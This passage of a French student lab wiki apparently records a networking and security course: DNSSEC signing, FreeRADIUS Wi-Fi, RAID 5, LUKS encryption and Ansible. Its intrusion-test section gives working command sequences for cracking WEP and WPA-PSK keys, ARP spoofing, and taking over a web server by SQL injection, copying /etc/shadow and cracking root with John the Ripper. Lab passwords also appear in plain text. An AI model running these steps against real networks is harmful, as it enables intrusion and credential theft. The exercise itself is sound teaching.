5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
